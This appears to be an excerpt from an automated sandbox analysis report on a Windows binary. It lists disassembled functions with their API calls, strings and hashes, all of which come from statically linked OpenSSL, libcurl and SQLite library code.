String ID: Enter PEM pass phrase:$PEM_def_callback$PEM_do_header$crypto\pem\pem_lib.c
API String ID: 58337479-1936084577
Opcode ID: 6da055a6742123b49a2e90a1e149db913994ad4ffae09a40290f7a8406b9469a
Instruction ID: 495e4b0f90ffe4fed8c3f1795d00369fcb4c7e860f4df5fa67abffc7f65e4a95
Opcode Fuzzy Hash: 6da055a6742123b49a2e90a1e149db913994ad4ffae09a40290f7a8406b9469a
Instruction Fuzzy Hash: 3C51F4B56053016FD720DA64DC82FAF73D8EF44740F510918FE48E7282EB69B909C6A6

Function 100A58F0 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 168COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A5929
__fprintf_l.LIBCMT ref: 100A5AA6

Strings

No decoders were found. For standard decoders you need at least one of the default or base providers available. Did you forget to load them?, xrefs: 100A5AEF
Input structure: , xrefs: 100A5A09, 100A5A2F
crypto\encode_decode\decoder_lib.c, xrefs: 100A5917, 100A5A7E, 100A5AE5
No supported data to decode. %s%s%s%s%s%s, xrefs: 100A5A9A
Input type: , xrefs: 100A5A01, 100A5A18
OSSL_DECODER_from_bio, xrefs: 100A5910, 100A5A77, 100A5ADE

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: Input structure: $Input type: $No decoders were found. For standard decoders you need at least one of the default or base providers available. Did you forget to load them?$No supported data to decode. %s%s%s%s%s%s$OSSL_DECODER_from_bio$crypto\encode_decode\decoder_lib.c
API String ID: 3906573944-481914282
Opcode ID: d85189b605c38939fd2c981a8039a09e3c6b84bd77e1355efdec37223eeff92a
Instruction ID: 3369e48eed2ad071fc862c1f55d518715721a8cd66a8049952f9dee62faa099c
Opcode Fuzzy Hash: d85189b605c38939fd2c981a8039a09e3c6b84bd77e1355efdec37223eeff92a
Instruction Fuzzy Hash: 445116B5704304ABD300DAE59DC2F2B72D4FF94654F404A2DFA89D6102EB72E914C767

Function 10077E80 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 143COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10077EC3

Strings

crypto\conf\conf_lib.c, xrefs: 10077EB0, 10077F87, 10077FBC, 10077FE2
group=%s name=%s, xrefs: 10077FF4
NCONF_get_string, xrefs: 10077FAE
NCONF_get_number_e, xrefs: 10077EA6, 10077F7D
gfff, xrefs: 10077F37

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: NCONF_get_number_e$NCONF_get_string$crypto\conf\conf_lib.c$gfff$group=%s name=%s
API String ID: 3906573944-2299922097
Opcode ID: cbcc25350a8552c3431853912280fa88c0dc84e8ab3eec707c53b0c83bb08c3b
Instruction ID: a8d2bc361656b4c5814b5698c15cc204208c6c0c4c6072c0bbe4581ceece017d
Opcode Fuzzy Hash: cbcc25350a8552c3431853912280fa88c0dc84e8ab3eec707c53b0c83bb08c3b
Instruction Fuzzy Hash: F4416D363443016BD200EA75BC82FBBB7D4FF85351F400535FA8CEA182EA65E61DD2A6

Function 10057A90 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000002,00000001,?,10057DF3,00000000,1004B3FD,00000000,00000000,00000000,00000000,00000000,?), ref: 10057AB3
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 10057AC3
GetProcessWindowStation.USER32(00000002,00000001,?,10057DF3,00000000,1004B3FD,00000000,00000000,00000000,00000000,00000000,?), ref: 10057AF6
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,10057DF3,00000000,1004B3FD,00000000,00000000,00000000,00000000,00000000,?), ref: 10057B11
GetLastError.KERNEL32(?,10057DF3,00000000,1004B3FD,00000000,00000000,00000000,00000000,00000000,?), ref: 10057B1B
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,10057DF3,00000000,1004B3FD,00000000,00000000,00000000,00000000,00000000,?), ref: 10057B4E
wcsstr.VCRUNTIME140(?,Service-0x,?,?,?,?,10057DF3,00000000,1004B3FD,00000000,00000000,00000000,00000000,00000000,?), ref: 10057B71

Strings

Service-0x, xrefs: 10057B64
_OPENSSL_isservice, xrefs: 10057ABD

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: InformationObjectUser$AddressErrorHandleLastModuleProcProcessStationWindowwcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 459917433-1672312481
Opcode ID: 14c1340672559e8ddd2e9f0db68e2b853ae599ac045a70aa3e8917851e75ebd9
Instruction ID: 8caf7136263958dfb60998848bbbe74622854e00e7d34cdedd01fc88711430a0
Opcode Fuzzy Hash: 14c1340672559e8ddd2e9f0db68e2b853ae599ac045a70aa3e8917851e75ebd9
Instruction Fuzzy Hash: 7531A331A00119EBDB10DFA49C89B9E77ACEF89760F110259F92AD75D0EF389A14CA51

Function 1008BC30 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 68encryptionCOMMON

Download Yara Rule

APIs

CertOpenStore.CRYPT32(00000009,00000000,00000000,?,00000000), ref: 1008BC79
__fprintf_l.LIBCMT ref: 1008BCB7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 1008BCD0

Strings

Opening certificate store %s, xrefs: 1008BC61
ERR_CAPI_error, xrefs: 1008BC9C
D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\users\e_capi_err.c, xrefs: 1008BCA3
%lX, xrefs: 1008BCD7
Error code= 0x, xrefs: 1008BCED
users\e_capi.c, xrefs: 1008BCC3

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CertErrorLastOpenStore__fprintf_l
String ID: %lX$D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\users\e_capi_err.c$ERR_CAPI_error$Error code= 0x$Opening certificate store %s$users\e_capi.c
API String ID: 2460695740-540775081
Opcode ID: 52c5c32c2e55be1cf746bab244a572ea2f1a0bc62192822690111e320b4fac71
Instruction ID: 5e2bb2057efd9b06198722f0fe98cc68932564c9ea6e9633d782be85b4047fde
Opcode Fuzzy Hash: 52c5c32c2e55be1cf746bab244a572ea2f1a0bc62192822690111e320b4fac71
Instruction Fuzzy Hash: 9911E639E44721BFD310EF64AC86F5B77A8FB89B40F010519F948EB191DF64B8548AA3

Function 100A5D70 Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 310COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A5F40
__fprintf_l.LIBCMT ref: 100A5F81

Part of subcall function 1007D3B0: __fprintf_l.LIBCMT ref: 1007D408

Strings

data-type, xrefs: 100A5E85
type-specific, xrefs: 100A5EE0
crypto\encode_decode\decoder_lib.c, xrefs: 100A5F2D, 100A5F6F
decoder_process, xrefs: 100A5F23, 100A5F65
data, xrefs: 100A5E53
data-structure, xrefs: 100A5EA9

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\encode_decode\decoder_lib.c$data$data-structure$data-type$decoder_process$type-specific
API String ID: 3906573944-2394805209
Opcode ID: 7c9aa32fa2a62a2e8f542de46b55745d225b90e980553870c5bb4ee3e20f58f4
Instruction ID: 58abc369fea08b2ec5f39ca7dcf524583b62523e98bb63d213a551aa3cf0e60e
Opcode Fuzzy Hash: 7c9aa32fa2a62a2e8f542de46b55745d225b90e980553870c5bb4ee3e20f58f4
Instruction Fuzzy Hash: 54B19CB5A04302EBD744CFA49C42B1BB6F4FF88295F05462CF948A7251E732EA54CB96

Function 10052AF0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10052BAF

Strings

assertion failed: bl <= (int)sizeof(ctx->buf), xrefs: 10052CF1
evp_EncryptDecryptUpdate, xrefs: 10052B92, 10052C91, 10052D58
crypto\evp\evp_enc.c, xrefs: 10052B9C, 10052CEC, 10052D62

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: assertion failed: bl <= (int)sizeof(ctx->buf)$crypto\evp\evp_enc.c$evp_EncryptDecryptUpdate
API String ID: 3906573944-2863847710
Opcode ID: 0c00d7ea898cfd74902f570f931b4ccd325a7d23ed784f2ab5c3e70a56d9c342
Instruction ID: 5afeb2c3c84507bdb0f8738d2e6599bc54bff9579034e43d79fed32ce349bbe2
Opcode Fuzzy Hash: 0c00d7ea898cfd74902f570f931b4ccd325a7d23ed784f2ab5c3e70a56d9c342
Instruction Fuzzy Hash: 259131727002069BD704CE68DC81B6AB3D4FF86364F158A3DF949DB681EB31FC1986A1

Function 10263500 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 187COMMON

Download Yara Rule

APIs

fputs.API-MS-WIN-CRT-STDIO-L1-1-0(# Your alt-svc cache. https://curl.se/docs/alt-svc.html# This file was generated by libcurl! Edit at your own risk.,?,00000088,00000738), ref: 1026357C
inet_pton.WS2_32(00000017,?,?), ref: 102635C4
inet_pton.WS2_32(00000017,00000738,?), ref: 102635F4
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,00000088,00000738), ref: 102636DA
_unlink.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(?,?,?,?,?,?,00000088,00000738), ref: 10263706
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,00000088,00000738), ref: 10263735

Strings

%s %s%s%s %u %s %s%s%s %u "%d%02d%02d %02d:%02d:%02d" %u %d, xrefs: 102636BB
# Your alt-svc cache. https://curl.se/docs/alt-svc.html# This file was generated by libcurl! Edit at your own risk., xrefs: 10263577

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: fcloseinet_pton$_unlinkfputs
String ID: # Your alt-svc cache. https://curl.se/docs/alt-svc.html# This file was generated by libcurl! Edit at your own risk.$%s %s%s%s %u %s %s%s%s %u "%d%02d%02d %02d:%02d:%02d" %u %d
API String ID: 1147392694-1497203839
Opcode ID: 0cfdb161a18a07b9f41cf977bbdb26e72b6bb0ca466241ee7fb7a1d405057e93
Instruction ID: aa297f3a348b8ff7fef8f40cb07a5114b7a541f709cff7143a75a8ac0bb0d733
Opcode Fuzzy Hash: 0cfdb161a18a07b9f41cf977bbdb26e72b6bb0ca466241ee7fb7a1d405057e93
Instruction Fuzzy Hash: AF51AFB5604341AFDB11CF54C88192BB7EAEB89340F50882CFD8686651DB36EC64DB52

Function 10252960 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 173COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,?,?), ref: 102529CD
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(# Netscape HTTP Cookie File# https://curl.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk.,?,?,?,?,?), ref: 10252A0B
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,00000004,10252C40,?,?,?,?,?,?,?,?), ref: 10252A66
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?), ref: 10252AC1

Strings

%s, xrefs: 10252A86
# Netscape HTTP Cookie File# https://curl.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk., xrefs: 10252A06

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __acrt_iob_funcfclosefputsqsort
String ID: # Netscape HTTP Cookie File# https://curl.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk.$%s
API String ID: 2230866234-959389649
Opcode ID: 2d9ae0d2baba678ea9fc301ec8c65801244584646dbbffe7ccbe3c5a1030e26e
Instruction ID: 3364dd4db996b0a0750216a456f44d54e65a3fa44271a52d1c3e548a80e43040
Opcode Fuzzy Hash: 2d9ae0d2baba678ea9fc301ec8c65801244584646dbbffe7ccbe3c5a1030e26e
Instruction Fuzzy Hash: 495116756043429BDB00DF249D82B9B7B98EF53684F140438FC8596292EB26ED3CC6A7

Function 1008B2E0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 99encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 1008BC30: CertOpenStore.CRYPT32(00000009,00000000,00000000,?,00000000), ref: 1008BC79
Part of subcall function 1008BC30: __fprintf_l.LIBCMT ref: 1008BCB7
Part of subcall function 1008BC30: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 1008BCD0

CertCloseStore.CRYPT32(00000000,00000000), ref: 1008B346

Strings

Certificate %d, xrefs: 1008B391
Listing certs for store %s, xrefs: 1008B307

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CertStore$CloseErrorLastOpen__fprintf_l
String ID: Certificate %d$Listing certs for store %s
API String ID: 2035104143-3674431298
Opcode ID: 41093402addc6b4299b1a71c13fe365086773db8d96aff8ef45f8f28b7358219
Instruction ID: 697b0a71da40a51649e2f9f2e0497501c062ed8b13c013c1736aa732cd872fb6
Opcode Fuzzy Hash: 41093402addc6b4299b1a71c13fe365086773db8d96aff8ef45f8f28b7358219
Instruction Fuzzy Hash: 64210B76901624EFC2209B35AC4CF5BBBDCFF89375F004156F90A92602CF35E84086E1

Function 10236340 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 443COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000030,00000000,?,?,00000000), ref: 102363B9
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1023652C

Strings

recovered %d frames from WAL file %s, xrefs: 10236845
, xrefs: 102363E7

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@memset
String ID: $recovered %d frames from WAL file %s
API String ID: 4293446785-3175670447
Opcode ID: 4015a43b2782780c279ed498f8913f63b2c5aa5b52ea2c467cd478ea96bd2296
Instruction ID: 124d583e96c2476166374701e81801c4583a3b272a88a84c67018a3723bbfd0d
Opcode Fuzzy Hash: 4015a43b2782780c279ed498f8913f63b2c5aa5b52ea2c467cd478ea96bd2296
Instruction Fuzzy Hash: 87F19BB46047029FD320CF68C885B1AB7E9EF8C384F50892DF599CB251EB75E954CB51

Function 100878F0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 269COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100879EA

Part of subcall function 1007F980: __fprintf_l.LIBCMT ref: 1007F9B8

__fprintf_l.LIBCMT ref: 10087B85

Part of subcall function 1007FB90: __fprintf_l.LIBCMT ref: 1007FBE5

__fprintf_l.LIBCMT ref: 10087A65

Strings

crypto\user\eng_dyn.c, xrefs: 100879B5, 100879D7, 10087A11, 10087A55, 10087B75, 10087BC4, 10087C20
EVP_PKEY_base_id, xrefs: 10087AB6
dynamic_load, xrefs: 100879CD, 10087A4B, 10087B6B, 10087BBA, 10087C16

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: EVP_PKEY_base_id$crypto\user\eng_dyn.c$dynamic_load
API String ID: 3906573944-2741612536
Opcode ID: 42257d4e93c89f3c53be72a446ae6294c7225c8682cd05a1355c04ecb12f1d06
Instruction ID: 85ee21294e17205e381eb05f09d428992e2bd0352603f6c4c7594c110c553445
Opcode Fuzzy Hash: 42257d4e93c89f3c53be72a446ae6294c7225c8682cd05a1355c04ecb12f1d06
Instruction Fuzzy Hash: 9081F779A40201ABEB10DF64DC82FAB36D1FF41344F004165FE48AE186EB79E528D7A7

Function 100873E0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 257COMMON

Download Yara Rule

APIs

Part of subcall function 10087740: __fprintf_l.LIBCMT ref: 1008779B

__fprintf_l.LIBCMT ref: 1008741B
__fprintf_l.LIBCMT ref: 1008744D

Strings

dynamic_ctrl, xrefs: 10087402, 10087433, 10087595, 100875E7, 10087654, 10087684, 10087698
crypto\user\eng_dyn.c, xrefs: 1008740C, 1008743D, 10087493, 100874B8, 100874D1, 10087523, 10087548, 10087561, 1008759F, 10087613, 10087644, 1008765E, 100876A2

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\user\eng_dyn.c$dynamic_ctrl
API String ID: 3906573944-1551668084
Opcode ID: b1441d7e1a328b81e6d87ba27267abf021994a05a9f91ff2db115ffa3cef0ae8
Instruction ID: 18d28f59baf009ab4092014b22c70615c2dbc013075507cd7a20d16e716c6e2c
Opcode Fuzzy Hash: b1441d7e1a328b81e6d87ba27267abf021994a05a9f91ff2db115ffa3cef0ae8
Instruction Fuzzy Hash: F0617E3AB0070166D710D978BD43FEB77A1FFC1721F10067AF54EAA182EB52B5349166

Function 10272BF0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 10271F60: MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,000000FF,00000000,00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?), ref: 10271F80
Part of subcall function 10271F60: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 10271F90
Part of subcall function 10271F60: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 10271FAA
Part of subcall function 10271F60: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10271FB1
Part of subcall function 10271F60: MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,000000FF,00000000,00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?), ref: 10271FD1
Part of subcall function 10271F60: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 10271FDF
Part of subcall function 10271F60: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?), ref: 10271FFC
Part of subcall function 10271F60: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10272003
Part of subcall function 10271F60: _wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?,?), ref: 10272017
Part of subcall function 10271F60: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?,?), ref: 10272035
Part of subcall function 10271F60: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?,?), ref: 10272042

_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?), ref: 10272C54
_fstat64.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,?,?,?), ref: 10272C5D
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?), ref: 10272C88

Part of subcall function 10273E80: BCryptGenRandom.BCRYPT(00000000,?), ref: 10273ED0

_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,103322AC), ref: 10272D98
_close.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 10272DB5
_unlink.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,00000000), ref: 10272DBB

Strings

%s%s.tmp, xrefs: 10272D52

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ByteCharMultiWidefree$malloc$CryptRandom_close_fdopen_fileno_fstat64_unlink_wfopenfclose
String ID: %s%s.tmp
API String ID: 4036065687-1935936288
Opcode ID: d51c79a5156dd594168ee749bdb4e50238026fb89bab3fa9adc65ba3995f73ab
Instruction ID: 913830badee9e55adfe592a38aea921138d8dbeb7616e899875ae4a72973b46a
Opcode Fuzzy Hash: d51c79a5156dd594168ee749bdb4e50238026fb89bab3fa9adc65ba3995f73ab
Instruction Fuzzy Hash: 5D51E5759043169FD720CF248C42BAB77D8EF66390F118929FC85D7241EA35ED2D8BA2

Function 1008A1B0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 130encryptionCOMMON

Download Yara Rule

APIs

CertEnumCertificatesInStore.CRYPT32(00000000,00000000), ref: 1008A1DE
CertGetCertificateContextProperty.CRYPT32(00000000,0000000B,00000000,?), ref: 1008A20C
CertGetCertificateContextProperty.CRYPT32(00000000,0000000B,00000000,?), ref: 1008A23B
CertEnumCertificatesInStore.CRYPT32(?,00000000), ref: 1008A2B5
CertFindCertificateInStore.CRYPT32(00000001,00000001,00000000,00070007,00000000,00000000), ref: 1008A315

Strings

capi_cert_get_fname, xrefs: 1008A1F4
users\e_capi.c, xrefs: 1008A21B, 1008A250, 1008A29A, 1008A2D2, 1008A2EA

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Cert$CertificateStore$CertificatesContextEnumProperty$Find
String ID: capi_cert_get_fname$users\e_capi.c
API String ID: 3601032570-4048789269
Opcode ID: 4bc5174eb1a1da0c198cbb484a679014d2009f17e71df89a4c34fa5eda49d2cc
Instruction ID: 6dd72ad07d2f36140316358fc3bfee88d98d20aec43512de58cec7917ffda4de
Opcode Fuzzy Hash: 4bc5174eb1a1da0c198cbb484a679014d2009f17e71df89a4c34fa5eda49d2cc
Instruction Fuzzy Hash: FB31AE36E45301ABE331CB686D86F6B7BA5FB87761F050127FB0466592DF13E9448360

Function 1004B3BA Relevance: 12.1, APIs: 8, Instructions: 130COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?), ref: 1004B3D4
